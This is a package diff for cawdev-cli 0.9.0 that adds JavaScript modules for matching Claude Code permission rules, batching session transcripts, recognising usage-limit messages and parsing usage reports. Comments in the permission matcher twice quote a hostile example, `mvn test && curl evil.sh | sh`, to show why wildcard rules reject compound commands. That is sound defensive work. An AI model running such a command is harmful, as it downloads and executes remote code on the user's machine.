cawdev-cli 0.9.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,282 @@
1
+ // What a run may do, in Claude Code's own grammar — R51.
2
+ //
3
+ // One matcher, imported by both halves that need it:
4
+ //
5
+ // - the RUNNER, which asks the platform for a project's live rules when it
6
+ // claims a run, filters them through the machine's own ceiling, and hands
7
+ // the survivors to the CLI as --allowedTools;
8
+ // - the MCP SERVER, which is asked by the CLI's permission-prompt tool about
9
+ // a call no rule covered, and has to answer the same question again for a
10
+ // rule somebody added while the session was already running.
11
+ //
12
+ // Two copies of this would drift, and the direction they drift in is "the
13
+ // runner promised the agent something the server then denies", which reads to
14
+ // whoever is watching as the agent being broken.
15
+ //
16
+ // THIS IS NOT THE AUTHORITY ON PERMISSIONS. Claude Code is. Everything here
17
+ // exists to decide "has somebody already said yes to this" and "is this
18
+ // within what this machine allows unattended", and both must fail towards
19
+ // ASKING. A matcher that is unsure and says yes has quietly granted something;
20
+ // one that is unsure and says no has, at worst, asked a person a question they
21
+ // have answered before.
22
+
23
+ /**
24
+ * A pattern, split into the tool and what it is allowed to do.
25
+ *
26
+ * Bash(mvn *) -> { tool: 'Bash', content: 'mvn *' }
27
+ * Bash -> { tool: 'Bash', content: null } // the whole tool
28
+ * mcp__cawdev__report -> { tool: 'mcp__cawdev__report', content: null }
29
+ *
30
+ * Null for anything else. An unparseable rule is not a rule that matches
31
+ * everything.
32
+ */
33
+ export function parseRule(pattern) {
34
+ if (typeof pattern !== 'string') return null;
35
+ const text = pattern.trim();
36
+ if (!text) return null;
37
+
38
+ const open = text.indexOf('(');
39
+ if (open === -1) {
40
+ return { tool: text, content: null };
41
+ }
42
+ if (!text.endsWith(')')) return null;
43
+
44
+ const tool = text.slice(0, open).trim();
45
+ const content = text.slice(open + 1, -1).trim();
46
+ if (!tool) return null;
47
+ return { tool, content: content || null };
48
+ }
49
+
50
+ /**
51
+ * Whether a pattern's tool covers a call's tool.
52
+ *
53
+ * Exact, plus one case: **`mcp__<server>` covers every tool on that server**,
54
+ * which is Claude Code's own reading of `--allowedTools mcp__github`. Verified
55
+ * against 2.1.252 rather than assumed — a session given `mcp__claude-in-chrome`
56
+ * and nothing else called `mcp__claude-in-chrome__tabs_context_mcp` without
57
+ * being asked.
58
+ *
59
+ * Without this the two disagree, and they disagree in the worst direction: the
60
+ * CLI would honour a server-wide grant at spawn while this matcher denied every
61
+ * call under it mid-run, so a person who allowed the whole server would be
62
+ * asked again about each of its twenty-six tools. Keeping one reading is the
63
+ * entire reason this file exists.
64
+ *
65
+ * Split on the separator, never a raw prefix: `mcp__claude-in-chrome` must not
66
+ * cover `mcp__claude-in-chrome-evil__navigate`, and `startsWith` alone would.
67
+ */
68
+ function sameTool(ruleTool, toolName) {
69
+ if (ruleTool === toolName) return true;
70
+ if (!ruleTool.startsWith('mcp__') || !toolName.startsWith('mcp__')) return false;
71
+ // A server-only pattern has exactly one `__` after the prefix; anything with
72
+ // a tool on it is already covered by the equality above.
73
+ return ruleTool.split('__').length === 2 && toolName.startsWith(`${ruleTool}__`);
74
+ }
75
+
76
+ /**
77
+ * Shell metacharacters, which make a command more than one command.
78
+ *
79
+ * `mvn test && curl evil.sh | sh` starts with `mvn`, and a rule written from
80
+ * its first word would say `Bash(mvn *)` — a rule whose plain reading is "may
81
+ * run Maven" and whose actual effect is "may run anything". Claude Code splits
82
+ * compound commands and checks the parts; we do not, so anything compound gets
83
+ * no suggested rule and has to be allowed one call at a time.
84
+ */
85
+ const COMPOUND = /[;&|`\n]|\$\(|>\(|<\(/;
86
+
87
+ /** The command a Bash call will run, or null for any other tool. */
88
+ function commandOf(toolName, input) {
89
+ if (toolName !== 'Bash') return null;
90
+ const command = input && typeof input.command === 'string' ? input.command.trim() : '';
91
+ return command || null;
92
+ }
93
+
94
+ /**
95
+ * Whether a pattern covers a call.
96
+ *
97
+ * A trailing `*` is a prefix match, which is Claude Code's own reading of
98
+ * `Bash(npm run test:*)`. Without one the content must match the command
99
+ * exactly. A pattern naming only a tool covers every call to it.
100
+ */
101
+ export function matches(pattern, toolName, input) {
102
+ const rule = parseRule(pattern);
103
+ if (!rule) return false;
104
+ if (!sameTool(rule.tool, toolName)) return false;
105
+ if (rule.content === null) return true;
106
+
107
+ const command = commandOf(toolName, input);
108
+ if (command === null) {
109
+ // A pattern with content, against a tool whose calls have no command to
110
+ // compare. We do not know what it means, so it does not match.
111
+ return false;
112
+ }
113
+ // Never settle a compound command from a WILDCARD rule — R135 narrowed this
114
+ // from "from any rule", and the narrowing is the whole of that card.
115
+ //
116
+ // The reason has not changed, only its scope. `Bash(mvn *)` was written
117
+ // about one program, and `mvn test && curl evil.sh | sh` is several
118
+ // commands of which only the first is the one anybody read; a wildcard rule
119
+ // must never settle it. A rule with no wildcard was written about one
120
+ // STRING, in full, and the equality below can grant nothing but that string
121
+ // — so `Bash(cd backend && ./mvnw test)` settles exactly `cd backend &&
122
+ // ./mvnw test` and nothing else. Refusing that too left the commands a
123
+ // build session runs most with no durable answer anywhere in cawdev, which
124
+ // is the defect R135 was filed for.
125
+ if ((rule.content === '*' || rule.content.endsWith('*')) && COMPOUND.test(command)) {
126
+ return false;
127
+ }
128
+
129
+ if (rule.content === '*') return true;
130
+ if (rule.content.endsWith('*')) {
131
+ return command.startsWith(rule.content.slice(0, -1));
132
+ }
133
+ return command === rule.content;
134
+ }
135
+
136
+ /** The first pattern in the list that covers this call, or null. */
137
+ export function coveredBy(patterns, toolName, input) {
138
+ for (const pattern of patterns ?? []) {
139
+ if (matches(pattern, toolName, input)) return pattern;
140
+ }
141
+ return null;
142
+ }
143
+
144
+ /**
145
+ * The one line a person decides on.
146
+ *
147
+ * Rendered here, on the machine, and stored by the platform as it was sent —
148
+ * so what somebody approved is exactly what they were shown, however the
149
+ * console later changes.
150
+ */
151
+ export function summaryOf(toolName, input) {
152
+ const command = commandOf(toolName, input);
153
+ if (command) return command;
154
+
155
+ // Not Bash: say what it is about in whatever the tool calls its subject.
156
+ const subject = ['file_path', 'path', 'url', 'pattern', 'notebook_path']
157
+ .map((key) => (input && typeof input[key] === 'string' ? input[key] : null))
158
+ .find(Boolean);
159
+ return subject ? `${toolName}: ${subject}` : toolName;
160
+ }
161
+
162
+ /**
163
+ * The rule that would cover this next time, or null when none should be offered.
164
+ *
165
+ * For a shell command it is the program: `mvn --version` offers
166
+ * `Bash(mvn *)`. Broad on purpose — it is what somebody means by "let it use
167
+ * Maven" — and the console lets them narrow it before it is written.
168
+ *
169
+ * Null rather than a guess for: compound commands (see COMPOUND), and any tool
170
+ * whose calls we cannot characterise, where the only honest offer would be the
171
+ * whole tool. "Always allow Bash" is not a checkbox this should ever draw.
172
+ */
173
+ export function suggestionFor(toolName, input, { skillServers = [] } = {}) {
174
+ const command = commandOf(toolName, input);
175
+ if (command === null) {
176
+ if (!toolName.startsWith('mcp__')) return null;
177
+
178
+ // A SKILL is one decision, so the offer is the whole server — R76.
179
+ //
180
+ // A project turned CodeGraph on, not `codegraph_explore`. Offering the one
181
+ // tool would ask a person twenty-six times about a capability they have
182
+ // already expressed as one thing, which is how a permission model people
183
+ // read becomes one they click through. R61 verified that the CLI and
184
+ // `matches` agree on a server-wide pattern, so this is a grant both halves
185
+ // read the same way.
186
+ //
187
+ // Only for servers the runner declared as skills. Everything else — a
188
+ // repository's own `.mcp.json` server, above all — keeps the per-tool
189
+ // offer, because nobody declared it as a capability and its tools may have
190
+ // nothing to do with each other.
191
+ const server = skillServers.find((prefix) => sameTool(prefix, toolName));
192
+ if (server) return server;
193
+
194
+ // A named MCP tool is its own pattern and is as narrow as it gets.
195
+ return toolName;
196
+ }
197
+ if (COMPOUND.test(command)) return null;
198
+
199
+ const program = command.split(/\s+/)[0];
200
+ if (!program || program.includes('/')) {
201
+ // A path rather than a program — `./scripts/deploy.sh`. Offering
202
+ // `Bash(./scripts/deploy.sh *)` is a rule about one file in one checkout,
203
+ // which is not what a project rule is for.
204
+ return null;
205
+ }
206
+ return `Bash(${program} *)`;
207
+ }
208
+
209
+ /**
210
+ * The longest a rule may be and still be one somebody can withdraw.
211
+ *
212
+ * A rule nobody can read on the Rules page is a rule nobody can safely take
213
+ * back, and an exact rule is as long as the command it was written from.
214
+ */
215
+ const LONGEST_EXACT = 300;
216
+
217
+ /**
218
+ * The rule that names THIS call and nothing else, or null — R135.
219
+ *
220
+ * The offer for the commands `suggestionFor` cannot make an offer about: a
221
+ * compound command, or a path-shaped one. It is not a guess about what
222
+ * somebody meant, the way `Bash(mvn *)` is; it is the string they read in full
223
+ * on the approval card, and it can grant nothing but itself.
224
+ *
225
+ * Null rather than a near-miss for three cases, each of which would offer a
226
+ * rule WIDER than the command that was shown:
227
+ *
228
+ * - a command ending in `*`, which our own `matches` reads as a prefix;
229
+ * - one longer than {@link LONGEST_EXACT};
230
+ * - one that does not survive the round trip through `parseRule` — a command
231
+ * ending in `)` is truncated by it, so the pattern is built, parsed back,
232
+ * and offered only when the two agree.
233
+ *
234
+ * Bash only, because a rule with content means nothing to `matches` for any
235
+ * other tool: those keep the whole-tool session grant as their answer.
236
+ */
237
+ export function exactRuleFor(toolName, input) {
238
+ const command = commandOf(toolName, input);
239
+ if (command === null) return null;
240
+ if (command.endsWith('*')) return null;
241
+ if (command.length > LONGEST_EXACT) return null;
242
+
243
+ const pattern = `${toolName}(${command})`;
244
+ return parseRule(pattern)?.content === command ? pattern : null;
245
+ }
246
+
247
+ /**
248
+ * Whether a machine's ceiling admits a rule.
249
+ *
250
+ * The ceiling is the list of patterns this runner's owner is willing to have
251
+ * applied with nobody watching. A rule passes when the ceiling names it, or
252
+ * names something broader that plainly contains it — `Bash(npm *)` in the
253
+ * ceiling admits `Bash(npm test)`.
254
+ *
255
+ * Deliberately narrow. It compares patterns, never expands them: a ceiling of
256
+ * `Bash(npm *)` does not admit `Bash(npm-run-all *)`, because the prefix test
257
+ * is done on the wildcard boundary and not on the raw string.
258
+ */
259
+ export function withinCeiling(ceiling, pattern) {
260
+ const rule = parseRule(pattern);
261
+ if (!rule) return false;
262
+
263
+ for (const allowed of ceiling ?? []) {
264
+ const limit = parseRule(allowed);
265
+ // The same server-covers-its-tools reading as `matches`, so a ceiling of
266
+ // `mcp__claude-in-chrome` admits a rule about one of its tools.
267
+ if (!limit || !sameTool(limit.tool, rule.tool)) continue;
268
+
269
+ // The ceiling names the whole tool: everything in it is admitted.
270
+ if (limit.content === null || limit.content === '*') return true;
271
+ if (rule.content === null) continue; // The rule is wider than the ceiling.
272
+
273
+ if (limit.content.endsWith('*')) {
274
+ const prefix = limit.content.slice(0, -1);
275
+ if (rule.content === prefix.trim()) return true;
276
+ if (rule.content.startsWith(prefix)) return true;
277
+ continue;
278
+ }
279
+ if (limit.content === rule.content) return true;
280
+ }
281
+ return false;
282
+ }
@@ -0,0 +1,88 @@
1
+ // Batching a session's transcript for the platform, without losing a batch
2
+ // the network would not carry — R255.
3
+ //
4
+ // A batch that failed to send used to be spliced out of the pending queue
5
+ // before the send was even awaited, on the theory that "a dropped line is not
6
+ // worth failing a run over". True for one flaky beat; false for a laptop that
7
+ // loses Wi-Fi for two minutes, where every line the session produced during
8
+ // the gap went missing for good, with nothing in the transcript to say a gap
9
+ // had happened at all.
10
+ //
11
+ // Pure of the network and the daemon on purpose: `send(lines)` is the one
12
+ // edge this class touches, so the retry, the backoff and the ordering can be
13
+ // tested without a socket, a runner, or a platform to talk to. `runner.mjs`
14
+ // supplies the real `send` (a POST to `/output`) and the daemon-only tee to
15
+ // the attached terminal.
16
+
17
+ /**
18
+ * @param {(lines: object[]) => Promise<unknown>} send POSTs a batch, in
19
+ * order; rejects on failure. Called with at most `max` lines.
20
+ * @param {{every?: number, max?: number, maxRetryDelay?: number,
21
+ * onRetry?: (info: {lines: object[], delayMs: number, failure: Error}) => void}} [opts]
22
+ * `onRetry` is told about a failed send before the backoff timer is set —
23
+ * the daemon uses it to log; a test uses it to assert without waiting out
24
+ * real delays.
25
+ */
26
+ export class TranscriptBatch {
27
+ constructor(send, { every = 400, max = 100, maxRetryDelay = 20_000, onRetry } = {}) {
28
+ this.send_ = send;
29
+ this.every = every;
30
+ this.max = max;
31
+ this.maxRetryDelay = maxRetryDelay;
32
+ this.onRetry = onRetry ?? (() => {});
33
+ this.pending = [];
34
+ this.sending = null;
35
+ this.timer = null;
36
+ this.retryDelay = every;
37
+ }
38
+
39
+ /** Queues one line, flushing immediately once `max` is reached. */
40
+ push(line) {
41
+ this.pending.push(line);
42
+ if (this.pending.length >= this.max) {
43
+ void this.flush();
44
+ } else if (!this.timer) {
45
+ this.timer = setTimeout(() => void this.flush(), this.every);
46
+ this.timer.unref?.();
47
+ }
48
+ }
49
+
50
+ async flush() {
51
+ if (this.timer) {
52
+ clearTimeout(this.timer);
53
+ this.timer = null;
54
+ }
55
+ // One request at a time: awaiting the previous send is what keeps the
56
+ // transcript in the order the session produced it, whether that send
57
+ // succeeded or is about to be retried.
58
+ this.sending = (this.sending ?? Promise.resolve()).then(() => this.send());
59
+ await this.sending;
60
+ }
61
+
62
+ async send() {
63
+ if (!this.pending.length) return;
64
+ // A snapshot, not the live array: `push()` can append more lines while
65
+ // this request is in flight, and those belong to the NEXT send, not this
66
+ // one — splicing by count below removes exactly what was sent, whatever
67
+ // arrived after it.
68
+ const count = this.pending.length;
69
+ const lines = this.pending.slice(0, count);
70
+ try {
71
+ await this.send_(lines);
72
+ this.pending.splice(0, count);
73
+ this.retryDelay = this.every;
74
+ } catch (failure) {
75
+ // Left in `pending` on purpose — see the module doc. Backed off rather
76
+ // than hammered: a real outage does not clear in one beat, and there is
77
+ // no point spending every one of them on a request that will fail the
78
+ // same way.
79
+ const delayMs = this.retryDelay;
80
+ this.onRetry({ lines, delayMs, failure });
81
+ this.retryDelay = Math.min(this.retryDelay * 2, this.maxRetryDelay);
82
+ if (!this.timer) {
83
+ this.timer = setTimeout(() => void this.flush(), delayMs);
84
+ this.timer.unref?.();
85
+ }
86
+ }
87
+ }
88
+ }
@@ -0,0 +1,80 @@
1
+ // Recognising that Claude's usage window closed — R73.
2
+ //
3
+ // A run that hits the five-hour or weekly window exits non-zero, and without
4
+ // this the runner reports what it always reports and the card reads FAILED:
5
+ // the same word as a compile error. The clock said no; the work did not.
6
+ //
7
+ // Pure, and per-provider by design: this is the Claude Code adapter's half of
8
+ // R20's seam. A second CLI (R17) supplies its own recogniser or none, and none
9
+ // means the old FAILED behaviour — a run is never called usage-limited on a
10
+ // guess.
11
+ //
12
+ // The shapes below are what the CLI has actually printed. Matching is
13
+ // deliberately narrow: "limit" alone appears in ordinary output ("rate limit
14
+ // on the API", "limit the scope"), and calling a real failure a usage limit
15
+ // would hide a broken run behind a friendly label.
16
+
17
+ // `session limit` is what the CLI actually printed on 2026-09-08, and none of
18
+ // the patterns before it matched: "You've hit your session limit · resets 6pm
19
+ // (Africa/Tunis)" is neither "usage limit" nor "limit reset" — a middle dot
20
+ // sits where the space would have been. The run was marked FAILED, which is
21
+ // the word for a crash, and R73 exists precisely so that a clock is not called
22
+ // a crash.
23
+ //
24
+ // `(usage |session )?` rather than a fourth alternative, because these are one
25
+ // phrase the vendor rewords: `hit your limit`, `hit your usage limit`, `hit
26
+ // your session limit`. A list of exact sentences goes stale the next time
27
+ // somebody edits a string, and goes stale SILENTLY — the failure mode is a
28
+ // run that reads as broken.
29
+ const FIVE_HOUR =
30
+ /(5|five)[- ]hour|(usage|session) limit reached|you(?:.ve| have|ve) (?:hit|reached) your (?:usage |session )?limit|limit\s*\W?\s*(will )?resets?/i;
31
+ const WEEKLY = /weekly (usage )?limit|this week.s limit/i;
32
+
33
+ /**
34
+ * `resets at 3:00 PM`, `resets in 2h 15m`, `try again at 15:00 UTC`.
35
+ * Whichever the CLI said; null when it said none. A time with no date is
36
+ * taken as the next occurrence of it.
37
+ */
38
+ function resetInstant(text, now) {
39
+ const at = /(?:resets?|try again|available)\s+(?:at\s+)?(\d{1,2})(?::(\d{2}))?\s*(am|pm)?(?:\s*(utc|z))?/i.exec(text);
40
+ if (at) {
41
+ let hour = Number(at[1]);
42
+ const minute = Number(at[2] ?? 0);
43
+ const half = (at[3] ?? '').toLowerCase();
44
+ if (half === 'pm' && hour < 12) hour += 12;
45
+ if (half === 'am' && hour === 12) hour = 0;
46
+ const when = new Date(now);
47
+ if (at[4]) {
48
+ when.setUTCHours(hour, minute, 0, 0);
49
+ if (when <= now) when.setUTCDate(when.getUTCDate() + 1);
50
+ } else {
51
+ when.setHours(hour, minute, 0, 0);
52
+ if (when <= now) when.setDate(when.getDate() + 1);
53
+ }
54
+ return when;
55
+ }
56
+ const inFor = /(?:resets?|try again|available)\s+in\s+(?:(\d+)\s*h(?:ours?)?)?\s*(?:(\d+)\s*m(?:in(?:ute)?s?)?)?/i.exec(text);
57
+ if (inFor && (inFor[1] || inFor[2])) {
58
+ const ms = (Number(inFor[1] ?? 0) * 60 + Number(inFor[2] ?? 0)) * 60_000;
59
+ return new Date(now.getTime() + ms);
60
+ }
61
+ return null;
62
+ }
63
+
64
+ /**
65
+ * What the session's last words say, or null.
66
+ *
67
+ * @returns `{ window: 'FIVE_HOUR' | 'WEEKLY', resetsAt: Date | null }`
68
+ */
69
+ export function usageLimitOf(text, now = new Date()) {
70
+ if (!text) {
71
+ return null;
72
+ }
73
+ if (WEEKLY.test(text)) {
74
+ return { window: 'WEEKLY', resetsAt: resetInstant(text, now) };
75
+ }
76
+ if (FIVE_HOUR.test(text)) {
77
+ return { window: 'FIVE_HOUR', resetsAt: resetInstant(text, now) };
78
+ }
79
+ return null;
80
+ }
@@ -0,0 +1,142 @@
1
+ // What `claude -p "/usage"` says about this machine's windows, as data.
2
+ //
3
+ // R73 concluded cawdev could not know these numbers — "the CLI reports its
4
+ // windows to a person more readily than to a program, so the one moment this
5
+ // daemon KNOWS a window is closed is when a run was refused" — and built the
6
+ // refusal path instead. That was true of the CLI it was written against. It is
7
+ // not true of 2.1.263, which answers `/usage` non-interactively:
8
+ //
9
+ // Current session: 25% used · resets Sep 8 at 11pm (Africa/Tunis)
10
+ // Current week (all models): 51% used · resets Sep 11 at 2pm (Africa/Tunis)
11
+ // Current week (Fable): 28% used · resets Sep 11 at 2pm (Africa/Tunis)
12
+ //
13
+ // Pure, for `code-map.mjs`'s reason: the hard part here is reading somebody
14
+ // else's prose, and prose is the thing that changes without warning. It is
15
+ // testable without a CLI, and the tests are where the shapes actually seen get
16
+ // written down.
17
+ //
18
+ // TOLERANT ON PURPOSE, and in one direction. A line this cannot read is a line
19
+ // it drops; text that is not a usage report at all yields nothing rather than
20
+ // something. The alternative — guessing — puts an invented number on a page
21
+ // somebody makes decisions from, and R20's rule for the console is exactly
22
+ // this: show what the provider said, and blank when it said nothing.
23
+
24
+ /**
25
+ * `25% used`, wherever in the line it sits.
26
+ *
27
+ * The lookbehind is doing real work: without it `4000%` matches its last three
28
+ * digits and reads as 0%, and `-5%` reads as 5%. A number that is not a
29
+ * percentage must not become a plausible one — 0% used is a sentence somebody
30
+ * would act on.
31
+ */
32
+ const PERCENT = /(?<![\d.-])(\d{1,3})\s*%/;
33
+
34
+ /**
35
+ * `resets Sep 8 at 11pm (Africa/Tunis)`, `resets Sep 11 at 2pm`.
36
+ *
37
+ * The zone is captured and DELIBERATELY not applied: it is the zone the CLI
38
+ * chose to print for a person, which is this machine's own, and this daemon
39
+ * runs on that machine. Parsing in local time is therefore right, and pulling
40
+ * in a timezone library to convert a value to itself would be work that can
41
+ * only introduce error.
42
+ */
43
+ const RESET = /resets?\s+(?:on\s+)?([A-Z][a-z]{2})\s+(\d{1,2})(?:\s+at)?\s+(\d{1,2})(?::(\d{2}))?\s*(am|pm)?/i;
44
+
45
+ const MONTHS = ['jan', 'feb', 'mar', 'apr', 'may', 'jun',
46
+ 'jul', 'aug', 'sep', 'oct', 'nov', 'dec'];
47
+
48
+ /**
49
+ * When a window says it resets.
50
+ *
51
+ * <p>The CLI prints a month and a day and no year, so the year is inferred:
52
+ * the next occurrence, which across a New Year means next year rather than a
53
+ * reset ten months in the past.
54
+ */
55
+ function resetAt(line, now) {
56
+ const found = RESET.exec(line);
57
+ if (!found) {
58
+ return null;
59
+ }
60
+ const month = MONTHS.indexOf(found[1].toLowerCase());
61
+ if (month === -1) {
62
+ return null;
63
+ }
64
+ let hour = Number(found[3]);
65
+ const minute = Number(found[4] ?? 0);
66
+ const half = (found[5] ?? '').toLowerCase();
67
+ if (half === 'pm' && hour < 12) hour += 12;
68
+ if (half === 'am' && hour === 12) hour = 0;
69
+
70
+ const when = new Date(now);
71
+ when.setMonth(month, Number(found[2]));
72
+ when.setHours(hour, minute, 0, 0);
73
+ // A date that has already gone is next year's, not this year's.
74
+ if (when.getTime() < now.getTime() - 24 * 60 * 60 * 1000) {
75
+ when.setFullYear(when.getFullYear() + 1);
76
+ }
77
+ return when;
78
+ }
79
+
80
+ /**
81
+ * One line's window.
82
+ *
83
+ * <p>`Current session` is the five-hour window and `Current week` the weekly
84
+ * one; a parenthesised name after `week` is a MODEL, and `all models` is the
85
+ * absence of one rather than a model called that. Told apart here rather than
86
+ * by the caller, so "which window is this" has a single answer.
87
+ */
88
+ function windowOf(label) {
89
+ const lower = label.toLowerCase();
90
+ if (lower.includes('session')) {
91
+ return { kind: 'FIVE_HOUR', model: null };
92
+ }
93
+ if (!lower.includes('week')) {
94
+ return null;
95
+ }
96
+ const named = /\(([^)]+)\)/.exec(label);
97
+ const model = named ? named[1].trim() : null;
98
+ return {
99
+ kind: 'WEEKLY',
100
+ model: !model || /^all models$/i.test(model) ? null : model,
101
+ };
102
+ }
103
+
104
+ /**
105
+ * Every window the report named.
106
+ *
107
+ * @returns `[{ kind, model, percent, resetsAt, label }]` — empty when the text
108
+ * was not a usage report, which is the answer for a CLI that has changed its
109
+ * output or refused the command.
110
+ */
111
+ export function parseUsage(text, now = new Date()) {
112
+ if (!text) {
113
+ return [];
114
+ }
115
+ const windows = [];
116
+ for (const raw of String(text).split('\n')) {
117
+ const line = raw.trim();
118
+ // The colon is what separates the window's name from its numbers, and its
119
+ // absence is what tells a heading from a reading — the report's prose
120
+ // ("What's contributing to your limits usage?") has percentages in it too.
121
+ const at = line.indexOf(':');
122
+ if (at === -1 || !/^current\b/i.test(line)) {
123
+ continue;
124
+ }
125
+ const percent = PERCENT.exec(line.slice(at));
126
+ const which = windowOf(line.slice(0, at));
127
+ if (!percent || !which) {
128
+ continue;
129
+ }
130
+ const value = Number(percent[1]);
131
+ if (!Number.isFinite(value) || value < 0 || value > 100) {
132
+ continue;
133
+ }
134
+ windows.push({
135
+ ...which,
136
+ percent: value,
137
+ resetsAt: resetAt(line, now),
138
+ label: line.slice(0, at).trim(),
139
+ });
140
+ }
141
+ return windows;
142
+ }